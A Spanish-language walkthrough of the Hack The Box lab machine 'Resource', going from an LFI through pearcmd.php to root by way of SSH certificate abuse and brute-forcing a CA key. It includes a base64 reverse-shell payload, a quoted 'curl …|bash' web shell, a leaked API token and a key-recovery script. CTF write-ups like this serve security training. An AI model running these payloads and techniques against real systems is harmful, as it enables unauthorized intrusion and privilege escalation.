Descripción

Resource es una máquina difícil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Inclusión de archivos locales en una aplicación PHP en Docker que da lugar a una ejecución remota de comandos
  • Pivote de usuario utilizando una contraseña reutilizada recuperada de un archivo HAR
  • Pivote de usuario firmando una clave pública para iniciar sesión utilizando SSH usando una el archivo de una clave privada de una Autoridad de Certificación
  • Escape de Docker firmando una clave pública con una API para iniciar sesión utilizando SSH y un principal
  • Pivote de usuario firmando una clave pública con una API para iniciar sesión utilizando SSH y un principal
  • Escalada de privilegios mediante un script vulnerable que permite recuperar la clave privada de la Autoridad de Certificación para luego generar un certificado para el usuario root

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.81.215.

$ ping -c 3 10.129.81.215
PING 10.129.81.215 (10.129.81.215) 56(84) bytes of data.
64 bytes from 10.129.81.215: icmp_seq=1 ttl=63 time=46.9 ms
64 bytes from 10.129.81.215: icmp_seq=2 ttl=63 time=46.5 ms
64 bytes from 10.129.81.215: icmp_seq=3 ttl=63 time=46.3 ms

--- 10.129.81.215 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.332/46.544/46.852/0.222 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.81.215 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.81.215
Host is up (0.050s latency).
Not shown: 65490 closed tcp ports (reset), 42 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 38.66 seconds

Obtenemos tres puertos abiertos: 22, 80 y 2222.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.81.215 -sV -sC -p22,80,2222 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.81.215
Host is up (0.047s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_  256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_  256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.75 seconds

Obtenemos tres servicios: dos Secure Shell (SSH) y uno de Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales factibles para el servicio SSH, vamos a pasar al servicio HTTP. Podemos ver que la redirección del servicio HTTP se dirige a itrc.ssg.htb. Por lo tanto, lo agregamos al archivo /etc/hosts.

$ echo "10.129.81.215 itrc.ssg.htb" | sudo tee -a /etc/hosts

También añadimos el host principal, ssg.htb.

$ echo "10.129.81.215 ssg.htb" | sudo tee -a /etc/hosts

Encontramos el “Centro de Recursos IT SSG”. Podemos registrarnos o iniciar sesión con una cuenta. Nos registramos con una cuenta, por ejemplo, con el nombre de usuario newuser y la contraseña 12345678. Cuando nos logueamos, nos redirige a una página donde podemos leer y abrir tickets. Vemos que la URL parece ser http://itrc.ssg.htb/index.php?page=dashboard. Vamos a enumerar el parámetro page con wfuzz para encontrar más páginas web.

$ wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --hw=207 -b 'PHPSESSID: 841c88bc0168fb629fe70ba05fb3f9c9' "http://itrc.ssg.htb/?page=FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://itrc.ssg.htb/?page=FUZZ
Total requests: 87664

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000015:   200        34 L     96 W       2276 Ch     "index"                    000000053:   200        43 L     126 W      2709 Ch     "login"                    000000065:   200        44 L     135 W      2842 Ch     "register"                 000000259:   200        25 L     67 W       1331 Ch     "admin"                    000000852:   200        34 L     96 W       2276 Ch     "db"                       000001222:   200        38 L     136 W      2627 Ch     "logout"                   000002916:   200        25 L     67 W       1331 Ch     "dashboard"                000005268:   200        25 L     67 W       1331 Ch     "ticket"                   000034468:   200        25 L     67 W       1331 Ch     "loggedin"                                                                   
Total time: 896.8405
Processed Requests: 87664
Filtered Requests: 87655
Requests/sec.: 97.74759

Encontramos un punto de conexión interesante llamado admin, o index.php?page=admin. Podemos acceder al panel de administración y observar los títulos de las incidencias abiertas y cerradas. Al acceder a cualquier ticket, por ejemplo en /?page=ticket&id=1, no podemos ver su contenido y nos redirige a la página principal. Con el comando Check Server Up podemos hacer un ping al host que indicamos, pero no es posible inyectar comandos. Si enviamos el parámetro id como un array obtenemos una advertencia del sitio web.

$ curl --cookie 'PHPSESSID=841c88bc0168fb629fe70ba05fb3f9c9' 'http://itrc.ssg.htb/?page=ticket&id[]=1'
...
<div class="flash-message" id="flashMessage" >Unable to retieve ticket</div><div class="main"><br />
<b>Warning</b>:  Array to string conversion in <b>/var/www/itrc/ticket.php</b> on line <b>8</b><br />
<script>window.location = '/';</script>

Podemos comprobar si la página web es vulnerable a la inclusión de archivos locales cambiando el parámetro page a /var/www/itrc/admin. A pesar de seguir accediendo al panel de administrador, esto indica que es vulnerable pero solo con archivos PHP, ya que no se especifica la extensión. Al tomar información del sitio PayloadsAllTheThings, sabemos que PEAR es un marco y sistema de distribución para componentes PHP reutilizables. Por defecto, pearcmd.php se instala en cada imagen Docker de PHP en /usr/local/lib/php/pearcmd.php. Podemos comprobar si existe utilizando la LFI. Si el archivo existe nos redirige a la página principal, pero si no existe obtenemos una página vacía.

$ curl --cookie 'PHPSESSID=841c88bc0168fb629fe70ba05fb3f9c9' 'http://itrc.ssg.htb/index.php?page=/usr/local/lib/php/pearcmd'

No nos redirecciona por lo que el archivo existe.

Explotación

Como el archivo existe, vamos a intentar crear un archivo PHP en el sistema remoto que nos permita ejecutar comandos y crear una terminal inversa. Necesitamos codificar el comando con Base64, en este caso bash -c "bash -i >& /dev/tcp/10.10.14.37/1234 0>&1". Es importante no incluir el carácter + en la cadena de Base64 por lo que podamos agregar espacios extra al comando original. Antes de ejecutar el comando iniciamos la escucha del puerto.

$ nc -nvlp 1234
$ curl --cookie 'PHPSESSID=841c88bc0168fb629fe70ba05fb3f9c9' 'http://itrc.ssg.htb/index.php?page=/usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode("YmFzaCAtYyAgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzcvMTIzNCAwPiYxIg=="));?>+/var/www/itrc/rshell.php'
$ curl 'http://itrc.ssg.htb/rshell.php'

Obtenemos acceso al sistema como el usuario www-data, por lo que actualizamos la terminal.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.37] from (UNKNOWN) [10.129.81.215] 34528
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@itrc:/var/www/itrc$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-Explotación (1)

Encontramos en la máquina a los usuarios con privilegios de consola, que son root, msainristil y zzinter.

www-data@itrc:/var/www/itrc$ grep "bash" /etc/passwd    
root:x:0:0:root:/root:/bin/bash
msainristil:x:1000:1000::/home/msainristil:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash

En el directorio raíz del servidor web encontramos un carpeta llamada uploads que contiene varios archivos ZIP dentro de ella.

www-data@itrc:/var/www/itrc$ ls
admin.php  create_ticket.php  filter.inc.php  home.php      login.php     rshell.php        ticket.php
api        dashboard.php      footer.inc.php  index.php     logout.php    rshell2.php       ticket_section.inc.php
assets     db.php             header.inc.php  loggedin.php  register.php  savefile.inc.php  uploads
www-data@itrc:/var/www/itrc$ cd uploads
www-data@itrc:/var/www/itrc/uploads$ ls
21de93259c8a45dd2223355515f1ee70d8763c8a.zip  b829beac87ea0757d7d3432edeac36c6542f46c4.zip  e8c6575573384aeeab4d093cc99c7e5927614185.zip
88dd73e336c2f81891bddbe2b61f5ccb588387ef.zip  c2f4813259cc57fab36b311c5058cf031cb6eb51.zip  eb65074fe37671509f24d1652a44944be61e4360.zip

Los extraemos.

www-data@itrc:/tmp/tmp.wt4avzu77d$ for f in *.zip; do unzip -o $f; done
Archive:  21de93259c8a45dd2223355515f1ee70d8763c8a.zip
  inflating: shell.php               
Archive:  88dd73e336c2f81891bddbe2b61f5ccb588387ef.zip
  inflating: shell.php               
Archive:  b829beac87ea0757d7d3432edeac36c6542f46c4.zip
  inflating: shell.php               
Archive:  c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
  inflating: itrc.ssg.htb.har        
Archive:  e8c6575573384aeeab4d093cc99c7e5927614185.zip
  inflating: id_rsa.pub              
Archive:  eb65074fe37671509f24d1652a44944be61e4360.zip
  inflating: id_ed25519.pub

Encontramos un archivo llamado shell.php que contiene código para ejecutar comandos remotos. También encontramos dos archivos de claves SSH públicas, id_rsa.pub perteneciente al usuario mgraham y id_ed25519.pub perteneciente al usuario mbcgregor.

www-data@itrc:/tmp/tmp.wt4avzu77d$ cat shell.php 
<?php system("curl 10.10.14.23/bash.sh|bash"); ?>www-
www-data@itrc:/tmp/tmp.wt4avzu77d$ cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1RS3oCZOLoHXlCKYKOBCiaQzNA9weEgvkEyVCr6Wrtlli8clZi5tJkZiRUyRkqrvR6lX3uzEY/OePxDq0/i73bYN2wc60AXn0UFm8WEqfu5fYSao8vZK/Yop80NAXA/x2JHeK74nC8feM9+u004NSjmj5tC8I8C6ywF0ZPu9Bym0RC/Nm8kOGDmrNWqV03owO5XzHBu5u4P1WdL7ge4JAmB0lE7eNv0FJATxQ4hHZghtQvOu3qWUqEbyjzkKrMbKuF2KPIiH3Ep6dWrbKjJ9MIUATJDwNwK6h5x10s/G6aQ8jkPKe0s1SucovFb9b3C/PiYmjlMoAVqoMF8mrQ3NFIsgFFGsJ+pUSMUIkZ/2/EfsPEmA1jfkzEAD18UH1PtXo4GehRAbKw9lcbu1MbQHMGJg+0W/95RxK+wy0NSLuwmycKvpY8MKO9MWP6UMoQmAhYEToulcfwrDGD9ncbzzTd1A951JWkpynGqVKazDIvvrb+MF1XXib2HYZ/7XGQs= mgraham@ssg.htb
www-data@itrc:/tmp/tmp.wt4avzu77d$ cat id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMI916//9yp/9z9HQn1OCxitlWqEYWkLoST6Z+5dNSBs bmcgregor@ssg.htb

Finalmente encontramos el archivo itrc.ssg.htb.har que contiene el tráfico capturado con la página web de itrc.ssg.htb. Al interceptar la solicitud de inicio de sesión en la página web, vemos que se están enviando los parámetros user y pass como user=<USUARIO>&pass=<CONTRASEÑA>. Esto nos permite buscar credenciales en el archivo de captura.

www-data@itrc:/tmp/tmp.wt4avzu77d$ grep -E "user=.*&pass=.*" itrc.ssg.htb.har 
            "text": "user=msainristil&pass=82yards2closeit",

Encontramos una credencial con el usuario msainristil y la contraseña 82yards2closeit. Podemos utilizar estos datos para iniciar sesión en la página web. Una vez dentro, encontramos un ticket abierto y una conversación entre los usuarios msainristil y zzinter. El usuario está teniendo problemas con el descarga de certificados firmados, no funciona correctamente. El usuario está adjuntando un archivo ZIP con el HAR que hemos analizados previamente. De forma más profunda, en Charles Proxy, vemos que el usuario está intentando emitir un certificado para bcmcgregor, pero el servidor responde con un error 500 Internal Server Error. Regresando a la conversación, se refieren a un script Bash propiedad de zzinter que se utiliza para generar claves para las entradas SSH. También observamos que existe una API para firmar claves públicas con un “principal”. Recordamos que tenemos una cuenta Linux con el mismo nombre. Iniciamos sesión usando SSH. El inicio de sesión funciona a través del puerto 22. Encontramos la carpeta decommission_old_ca.

$ ssh msainristil@ssg.htb        
msainristil@ssg.htb's password: 
...
msainristil@itrc:~$ id
uid=1000(msainristil) gid=1000(msainristil) groups=1000(msainristil)
msainristil@itrc:~$ ls
decommission_old_ca

Este directorio contiene una Autoridad de Certificación utilizada para firmar las claves públicas como ya vimos previamente en la conversación.

msainristil@itrc:~$ cd decommission_old_ca
msainristil@itrc:~/decommission_old_ca$ ls -l
total 8
-rw------- 1 msainristil msainristil 2602 Jan 24  2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub
msainristil@itrc:~/decommission_old_ca$ cat ca-itrc
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
A9QyX0p7GeHa+9AAAAEklUUkMgQ2VydGlmY2F0ZSBDQQ==
-----END OPENSSH PRIVATE KEY-----
msainristil@itrc:~/decommission_old_ca$ cat ca-itrc.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA

Podemos utilizar esta clave privada para firmar un certificado y conectarnos al sistema como el otro usuario en el sistema zzinter. Primero generaremos nuestra propia pareja de claves y luego nos conectaremos. Luego iniciaremos sesión mediante SSH.

$ ssh-keygen -f zzinter22                                                         
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in zzinter22
Your public key has been saved in zzinter22.pub
The key fingerprint is:
SHA256:jrF8nCsKd1Mks28012hXWwQSSt9G48vQGvBUTeFT/bI kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|          o +o==*|
|         . * *.o+|
|      o . . = *oo|
|       =   o B.+o|
|      o S + + +o |
|     . X = .  E  |
|  . . * B        |
|   o ..+ .       |
|    .. ..        |
+----[SHA256]-----+
$ chmod 600 ca-itrc
$ ssh-keygen -s ca-itrc -n zzinter -I 0 zzinter22.pub
Signed user key zzinter22-cert.pub: id "0" serial 0 for zzinter valid forever
$ ssh -i zzinter22 zzinter@ssg.htb

Al generar el archivo de certificado zzinter22-cert.pub, podríamos necesitar especificar el parámetro -o 'CertificateFile=zzinter22-cert.pub'. En este caso no es necesario. Obtenemos una terminal como el usuario zzinter.

$ ssh -i zzinter22 -o 'CertificateFile=zzinter22-cert.pub' zzinter@ssg.htb
...
zzinter@itrc:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
zzinter@itrc:~$ hostname -i
172.223.0.3
zzinter@itrc:~$ ls
sign_key_api.sh  user.txt

La dirección IP de la máquina es 172.223.0.3, por lo que podemos estar dentro de un contenedor Docker. Confirmamos esto mirando el proceso init, /bin/bash /opt/startup.sh.

zzinter@itrc:~$ ps -ef | grep root
root           1       0  0 ?        00:00:00 /bin/bash /opt/startup.sh

Mirando en el archivo sign_key_api.sh, encontramos el script Bash mencionado anteriormente.

zzinter@itrc:~$ cat sign_key_api.sh
#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

¡Claro! Este script está enviando una clave pública a una API con un nombre de usuario y un “principal” para obtener un certificado. Podemos obtener un certificado para el usuario webadmin utilizando el principal webserver, para el usuario analytics utilizando el principal analytics, para el usuario support utilizando el principal support, y para el usuario support utilizando el principal security. Encontramos la dirección signserv.ssg.htb, por lo que la agregamos a nuestro archivo hosts.

$ echo "10.129.81.215 signserv.ssg.htb" | sudo tee -a /etc/hosts

Podemos intentar emitir un certificado para todos los usuarios y principales y luego probar a conectarnos al servidor SSH encontrado en el puerto 2222, ya que en el servicio del puerto 22 no hay más usuarios a quienes podamos iniciar sesión a excepción de root. Estamos utilizando este script Bash, cambiando las variables username y principal.

#!/bin/bash
mkdir certs
cd certs

username=webadmin
principal=webserver
ssh-keygen -f $username-$principal
public_key=$(cat $username-$principal.pub)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" > $username-$principal.cert
ssh -i $username-$principal -o "CertificateFile=$username-$principal.cert" $username@ssg.htb -p 2222

Obtenemos un éxito al utilizar el nombre de usuario support y el principal support.

Post-Explotación (2)

Ahora tenemos acceso a la máquina principal con la dirección IP 10.129.81.215 y hemos escapado del contenedor Docker como el usuario support. En este sistema encontramos los usuarios rootsupport y zzinter.

support@ssg:~$ id
uid=1000(support) gid=1000(support) groups=1000(support)
support@ssg:~$ grep 'bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
support:x:1000:1000:support:/home/support:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash

Encontramos la carpeta auth_principals en el directorio /etc/ssh, que contiene los principales para los usuarios rootsupport y zzinter. También encontramos la Autoridad de Certificación del servidor, ca-it.

support@ssg:~$ ls -l /etc/ssh
total 596
drwxr-xr-x 2 root root   4096 Feb  8 12:16 auth_principals
-rw------- 1 root root    399 Feb  8 19:40 ca-analytics
-rw-r--r-- 1 root root     94 Feb  8 19:40 ca-analytics.pub
-rw------- 1 root root    432 Feb  8 19:42 ca-it
-rw-r--r-- 1 root root    116 Feb  8 19:43 ca-it.pub
-rw------- 1 root root   2655 Feb  8 19:03 ca-security
-rw-r--r-- 1 root root    569 Feb  8 19:03 ca-security.pub
-rw-r--r-- 1 root root 505426 Jul 19  2023 moduli
-rw-r--r-- 1 root root   1650 Jul 19  2023 ssh_config
drwxr-xr-x 2 root root   4096 Feb  7 21:52 ssh_config.d
-rw-r--r-- 1 root root   3240 Feb  7 21:48 sshd_config
drwxr-xr-x 2 root root   4096 Feb  8 12:24 sshd_config.d
...
support@ssg:~$ ls -l /etc/ssh/auth_principals/
total 12
-rw-r--r-- 1 root root 10 Feb  8 12:16 root
-rw-r--r-- 1 root root 18 Feb  8 12:16 support
-rw-r--r-- 1 root root 13 Feb  8 12:11 zzinter
support@ssg:~$ cat /etc/ssh/auth_principals/root 
root_user
support@ssg:~$ cat /etc/ssh/auth_principals/zzinter
zzinter_temp

El principal para el usuario root es root_user y el principal para el usuario zzinter es zzinter_temp. Podemos utilizar esta información para generar el certificado utilizando la API para el usuario root, pero en respuesta obtenemos {"detail":"Root access must be granted manually. See the IT admin staff."}. Por lo tanto, cambiamos a generarlo para el usuario zzinter e iniciamos sesión en su cuenta. Obtenemos acceso sin problemas a su cuenta.

zzinter@ssg:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
zzinter@ssg:~$ ls
user.txt

Encontramos un comando que el usuario zzinter puede ejecutar como usuario root, el script /opt/sign_key.sh.

zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zzinter may run the following commands on ssg:
    (root) NOPASSWD: /opt/sign_key.sh
zzinter@ssg:~$ cat /opt/sign_key.sh
#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

Veemos que el script se utiliza para firmar claves públicas, como vimos anteriormente, pero en este caso si la Autoridad de Certificación (CA) del servidor se pasa como parámetro, el proceso es detenido, requiriendo al usuario que utilice la API. Además, si proporcionamos realmente el archivo de CA, también lo rechaza haciendo una comparación. En la cuarta comparación IF podemos ver que las variables $itca y $ca no están entre comillas, lo que significa que las cadenas que introducimos serán tratadas como patrones de coincidencia. Esto significa que si introducimos el texto a* la condición será verdadera si la variable $itca comienza con el carácter a. Iteremos sobre todo el conjunto de caracteres disponible para una clave SSH privada codificada con Base64 (y el carácter de salto de línea). Si la coincidencia del patrón es exitosa, el script nos devuelve el mensaje Error: Use API for signing with this CA.. Creamos un script Bash que se encargará de recuperar la clave y guardarla en el archivo full_file.txt.

#!/bin/bash

chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-+/= "$'\n'
file_length=65535
file=""

## For every character in the file (limited by file_length)
for index in `seq 1 $file_length`
do
    # For every number, uppercase lowercase, base64 character and new-line character
    for (( i=0; i<${#chars}; i++ )); do
        # Get the i character of the chars string
        char="${chars:$i:1}"

        # Execute the command and save its output to a file, then load it
        echo -n "$file$char*" > partial_file.txt
        sudo /opt/sign_key.sh partial_file.txt newkey.pub support support 777 &> log.txt
        result_execution=`cat log.txt`

        # If the output of the program matches, the character is valid
        if [[ "$result_execution" == *"Use API"* ]]; then
            file="$file$char"
            echo "Character $index: $char"
            break
        fi
    done

    # If a character was not found for this index, the file is complete
    if [[ "${#file}" -lt "$index" ]]; then
        echo "Finished! Full file is $file"
        echo "$file" > full_file.txt
        break
    fi
done

## Remove files
rm partial_file.txt log.txt

Después de diez minutos de fuerza bruta obtenemos la clave privada que utilizaremos para generar el certificado para iniciar sesión como la cuenta root.

zzinter@ssg:~$ bash script.sh 
Character 1: -
Character 2: -
Character 3: -
Character 4: -
Character 5: -
Character 6: B
Character 7: E
Character 8: G
Character 9: I
Character 10: N
...
Finished! Full file is ...
zzinter@ssg:~$ cat full_file.txt
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...
QBAgM=
-----END OPENSSH PRIVATE KEY-----

$ chmod 600 ca-it
$ ssh-keygen -f root_user
$ ssh-keygen -s ca-it -z 0 -I root -V -1w:forever -n root_user root-root_user.pub
$ ssh -i root-root_user -o "CertificateFile=root-root_user-cert.pub" root@ssg.htb -p 2222
root@ssg:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal de root, podemos obtener las flags de user y root.

root@ssg:~# cat /home/zzinter/user.txt 
<REDACTED>
root@ssg:~# cat /root/root.txt 
<REDACTED>